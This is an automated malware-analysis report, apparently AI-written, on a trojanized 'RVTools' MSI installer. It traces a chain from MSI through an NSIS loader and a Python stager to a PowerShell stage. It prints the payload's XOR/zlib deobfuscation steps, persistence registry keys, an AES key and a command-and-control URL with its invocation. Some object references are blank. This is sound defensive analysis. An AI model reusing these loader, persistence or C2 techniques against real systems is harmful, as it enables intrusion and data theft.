Task outcome
6 unpacked objects
AI report excerpt
The submitted sample unpack#5 (, SHA256 ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4, 19,697,664 bytes) is a **Windows MSI installer (CFB/MSI)**伪装 as "RVTools System 4.7.0.2" (author "RVtools System", comment "Provides system services for Windows processes"). The MSI metadata reveals it is built with the commercial EXEMSI MSI Wrapper 25.0.54.0 (properties BZ.WRAPPERVERSION, BZ.BASENAME=start.exe, BZ.FIXED_INSTALL_ARGUMENTS=RVtools-4.7.0.2.exe), i.e. a wrapper around an inner executable chain — a classic trojanized "RVTools" lure. The MSI contains two binary streams: the wrapped setup program and the EXEMSI custom-action DLL.
- RVtools-4.7.0.2.exe
- start.exe
- Unicode.Data.Automation.dll
- UsbService86.exe
- LICENSE1.txt
- stage4_python_stager.py
Kesakode detections
No Kesakode detections recorded.
Inspect the evidence
Selected static findings, linked to their source objects. Matches are not necessarily malicious. A lack of matches does not establish that the file is safe.
-
Binary.bz.CustomActionDll
- Kesakode match No matches
- YARA signatures FingerprintSoftware, RunShell, MSVC_2008_linker, +1 other
- Capabilities Execution, Defense Evasion, Discovery, Collection, Cryptography, File System, Operating System, Process
- Anomalies CryptoApiUsage, HighXrefLoopingFunction, ManyHighValueImmediates, +3 others
-
RVtools-4.7.0.2.exe
- Kesakode match No matches
- YARA signatures ValuableFileExtensions, ElevatePrivileges, Nullsoft Install System, +4 others
- Capabilities Execution, Persistence, Privilege Escalation, Defense Evasion, Discovery, Collection, Impact, Data, File System, Operating System, Process
- Anomalies HighEntropy, InvalidSizeOfUninitializedData, SectionMostlyVirtual, +5 others
RVtools-4.7.0.2.exe
ID 65| File type | PE |
|---|---|
| Category | PROGRAM |
| Architecture | X86 |
| Size | 18.5 MiB |
| Kesakode | No verdict available |
| SHA256 | d2c57c58e358b1707e6f39bbfe72532e9cc4a169345bb35bba8b9d927cb6fd6d |
start.exe
ID 66| File type | PE |
|---|---|
| Category | PROGRAM |
| Architecture | DOTNET |
| Size | 6.0 KiB |
| Kesakode | No verdict available |
| SHA256 | 3685368e63a3c892e425eea24a48bc6abf5ff84418bd2f42f35119f87b4d838f |
Unicode.Data.Automation.dll
ID 3901| File type | PE |
|---|---|
| Category | PROGRAM |
| Architecture | DOTNET |
| Size | 7.0 MiB |
| Kesakode | No verdict available |
| SHA256 | d4e7df39573db6e8214ebc5fb37294d5ccf99b17435fc291ebe82fd4c26e1d08 |
UsbService86.exe
ID 3902| File type | PE |
|---|---|
| Category | PROGRAM |
| Architecture | X64 |
| Size | 99.3 KiB |
| Kesakode | No verdict available |
| SHA256 | 3373ac4a982e454a865fe13735bbc89a5c8279764051b6d4359211533b92bd2f |
LICENSE1.txt
ID 6652| File type | PYC |
|---|---|
| Category | PROGRAM |
| Architecture | PY312 |
| Size | 129.3 KiB |
| Kesakode | No verdict available |
| SHA256 | dca22262d20af2d86fdb7fde57f39d4660066db53ade9ddb03980a7a2fdf9e42 |
stage4_python_stager.py
ID 6654| File type | text/utf8 |
|---|---|
| Category | DOCUMENT |
| Architecture | NONE |
| Size | 86.8 KiB |
| Kesakode | No verdict available |
| SHA256 | 9c1f13d716846fd47ede42b73ce5ab7b8f4d25d04bbb8f2d643f9603b59f0e41 |
File description
The submitted sample unpack#5 (, SHA256 ee0f0f2f089ee0594da5750bb4e342c34d703ea045ed80c3b73c81d2f3de8bd4, 19,697,664 bytes) is a **Windows MSI installer (CFB/MSI)**伪装 as "RVTools System 4.7.0.2" (author "RVtools System", comment "Provides system services for Windows processes"). The MSI metadata reveals it is built with the commercial EXEMSI MSI Wrapper 25.0.54.0 (properties BZ.WRAPPERVERSION, BZ.BASENAME=start.exe, BZ.FIXED_INSTALL_ARGUMENTS=RVtools-4.7.0.2.exe), i.e. a wrapper around an inner executable chain — a classic trojanized "RVTools" lure. The MSI contains two binary streams: the wrapped setup program and the EXEMSI custom-action DLL.
Chain recovered (top → bottom): MSI → CAB → NSIS installer → Python 3.12/pythonnet stager → PowerShell → AES-protected C# stage (final stage not decrypted, see blockers).
Container handling
- MSI tables of decompiled to (#0..#3504). The
CustomAction/Propertytables show the wrapper executesbz.CustomActionDll(_InstallMain@4,_InstallFinish*) and carriesBinary.bz.WrappedSetupProgram. - (
/Binary.bz.CustomActionDll, 212,992 B, PE32) is the genuine EXEMSIMsiCustomActions.dll(PDBC:\ss2\Projects\MsiWrapper\MsiCustomActions\Release\MsiCustomActions.pdb) — ordinary library component, no concealed stage. - (
/Binary.bz.WrappedSetupProgram, 19,427,917 B) is a CAB containing two execution-bearing members; both analysed (ordinary extraction):-
RVtools-4.7.0.2.exe(19,416,923 B) — the malicious NSIS loader. -
start.exe(6,144 B) — tiny .NET launcher masquerading as "Host Process for Windows Services" (Microsoft version info, false).
-
- has a 19,374,939-byte overlay at
#a400(signatureNullsoftInstat#a408) — an NSIS compressed data block, carved and decompressed (genuine unpacking) into , whose virtual files were analysed. Key members:#Setup→ (NSIS script, decompiled to ): installs decoyrvtools.msiviamsiexec,Sleep 240000, extracts a full Python 3.12 + pythonnet runtime twice (SystemWEB\SystemInfo,AppUpdate\SystemInfo), reconfigures MSDTC (sc config msdtc start= demand,obj= "LocalSystem"), sets hijackHKLM\SOFTWARE\Microsoft\MSDTC\MTxOCI\OracleOciLibPath = C:\ProgramData\SysIco, sets Run keyUpdateWINPY→LICENSE.txt, and executesLICENSE1.txtviansExec.LICENSE1.txt→ (Python 3.12 bytecode, disguised as a text file) — main payload stage.LICENSE.txt→ (PYC 312) — junk-only filler (100 no-op functions), a decoy, not returned.Unicode.Data.Automation.dll→ (7,294,464 B, .NET) — impersonatesSystem.Management.Automation.dll(PowerShell engine) but is renamed; loaded at runtime via pythonnet.UsbService86.exe→ (101,656 B, x64) — Python Software Foundation-signedpythonw.exe3.12.3, renamed.Cert.txt→ (20 B) — install-marker file checked by the NSIS script.rvtools4.7.1.msi, Python runtime,Python.Runtime.dll,ClrLoader.dll,nsExec.dll— legitimate runtime/decoy components (not individually returned; the MSI decoy was not further analysed within budget).
Packing evidence
- : PE with only ~40 KB of sections and a 19,374,939-byte overlay at
#a400, entropy 226/255; YaraNsisInstaller(reliability 90) +nsis_overlay_data, capapackaged as a NSIS installer. The overlay is the NSIS packed/compressed data block — genuine packing, resolved via carving + decompression (). - : entropy 226/255 due to CAB compression of the wrapped program (transport compression, not malware packing).
- (LICENSE1.txt): PYC312 with anomalies
VeryHugeString,HugeStringHexa,BigStringHiScore— a 75,040-char hex blob at#4034(marshal headerC1 20 25 01 00at#402f, length 0x12520). The module is padded with ~100 identical junk functions (func_0…func_99) to hide the real logic interleaved in the module code at0x2a. - (recovered Python): contains a further AES-protected PowerShell SecureString blob (unresolved stage).
Encryption/packing methods and keys found
Stage 3 → 4 (fully recovered, genuine unpacking): LICENSE1.txt () module code at 0x2a (ref 0xe4) performs, per its own bytecode:
mttrvdgn= hex blob at#4034(75,040 ASCII hex chars)hoqqmixf = bytes.fromhex(mttrvdgn)tsirwpqh = bytes(b ^ evzgtgqe for b in hoqqmixf)[::-1]— XOR with byte 0x50 (80) then reverse (genexpr at0x1a163confirmsyield b ^ evzgtgqe)jtzblylx = zlib.decompress(base64.b64decode(tsirwpqh))exec(jtzblylx.decode("utf-8"))
Applied precisely with Malcat transforms (hex decode → xor key 0x50 → reverse → base64 decode → zlib decompress), yielding the Python stager (88,838 B, SHA256 9c1f13d716846fd47ede42b73ce5ab7b8f4d25d04bbb8f2d643f9603b59f0e41).
Stage 4 (recovered source, next stage not decrypted): loads Unicode.Data.Automation.dll via pythonnet (clr.AddReference), gets System.Management.Automation.PowerShell, and runs a script that:
- sleeps 15 s,
- defines AES-256 key
[Byte[]]$DodJfh19T246 = 66,0,58,137,46,70,158,0,245,50,191,118,250,47,188,105,109,232,147,26,220,54,92,37,60,155,244,91,98,194,204,68= hex42003A892E469E00F532BF76FA2FBC696DE8931ADC365C253C9BF45B62C2CC44, - holds
$gc2wN50fD8FJ— a PowerShell SecureString blob with magic prefix76492d1116743f0423413b16050a5345+ base64 payload, - decrypts it via
convertto-securestring -Key→SecureStringToBSTR→PtrToStringAutoand feeds the plaintext C# source toAdd-Type -Language CSharp(referencesSystem.Web.Extensions.dll,System.Windows.Forms.dll), - invokes obfuscated method
[rOWnsaP.iwkNFXvOiw]::mmQlMgRaooYe(<url>, "kgZgwUMuMaoonJhCKrdLzujD", "35000")with C2-style URLhttps://mud.alert-router-b3a.workers.dev/(Cloudflare Workers). Persistence/hijack IOCs from the NSIS script: Run keyUpdateWINPY,OracleOciLibPath=C:\ProgramData\SysIco.
Distinguishing extraction vs unpacking: MSI/CAB/NSIS member extraction and analyse_virtual_file calls (e.g. , , , , , ) are ordinary extraction (NSIS decompression of counts as genuine unpacking of the packed overlay). Only is a genuinely unpacked/decoded payload recovered by applying the malware's exact transform chain.
Blockers / limitations (analysis budget exhausted):
- The AES-protected SecureString blob in (final C# stage) was not decrypted; the exact SecureString container format (IV placement) and AES-CBC parameters were not verified with transforms before the budget ended. No key/IV beyond the 32-byte key above is invented; the recovered key, the second argument string
kgZgwUMuMaoonJhCKrdLzujD, port35000, and the workers.dev URL are the concrete recovered secrets. - (
Unicode.Data.Automation.dll) was identified by metadata/role but not fully vetted (genuine renamedSystem.Management.Automation.dllvs. trojanized build is unconfirmed; its debug timestamp 2058-08-01 is anomalous). rvtools4.7.1.msi(decoy) and the Python/pythonnet runtime files were not individually analysed.- is junk-only filler and is deliberately excluded from results.